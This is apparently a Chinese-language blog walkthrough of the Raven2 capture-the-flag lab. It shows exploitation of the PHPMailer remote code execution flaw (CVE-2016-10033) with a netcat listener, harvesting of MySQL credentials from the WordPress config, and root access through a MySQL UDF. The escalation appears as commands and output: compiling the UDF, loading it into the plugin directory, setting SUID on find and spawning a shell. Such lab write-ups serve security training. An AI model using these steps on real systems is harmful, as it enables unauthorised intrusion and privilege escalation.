Raven2

0x00 书接上回

Raven第二部其实就是Raven1的加固版 要利用phpmalier远程代码执行漏洞(CVE-2016-10033)

前期的那些发现步骤我们就不做赘述了 没看过的师傅们可以去看下我的Raven1那章

0x01 phpmailer远程代码执行

http://192.168.8.126/vendor/PATH 发现第一个flag和网站根路径:/var/www/html/

image-20200302142612649

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.0.102/vendor/VERSION 发现版本号

在kali中 searchsploit phpmailer 这个py在我们的射程内

image-20200302143039705

cp过来 改下代码 大家都懂

image-20200302143133899

image-20200302143547074

访问这个路径自动生成backdoor里你填的文件 访问就会执行payload nc提前接着

image-20200302144032371

python切换到交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

find找flag 访问 我们目标拿root 不赘述了

image-20200302144523146

image-20200302144539076

0x02 登数据库

还是老规矩 wordpress配置文件拿帐号

image-20200302144755036

登上去后 Raven1里是表里拿帐号解密 ssh 这里不行 就不展示了 要走mysql udf提权

0x03 mysql udf提权

Exploit-db 🔗 https://www.exploit-db.com/exploits/1518

kali搜一下也行

image-20200302145836960

本地编译

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o -lc

image-20200302150816621

开个http wget落地

开始提权

照着操作即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.01 sec)

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.12 sec)

mysql> insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.12 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.03 sec)

mysql> create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.11 sec)

mysql> select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)

mysql> quit
Bye

touch foo

find foo -exec 'whoami' \;

find foo -exec '/bin/sh' \;

image-20200302151918277

恭喜闯关成功!

打赏
  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2015-2020 Loki
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信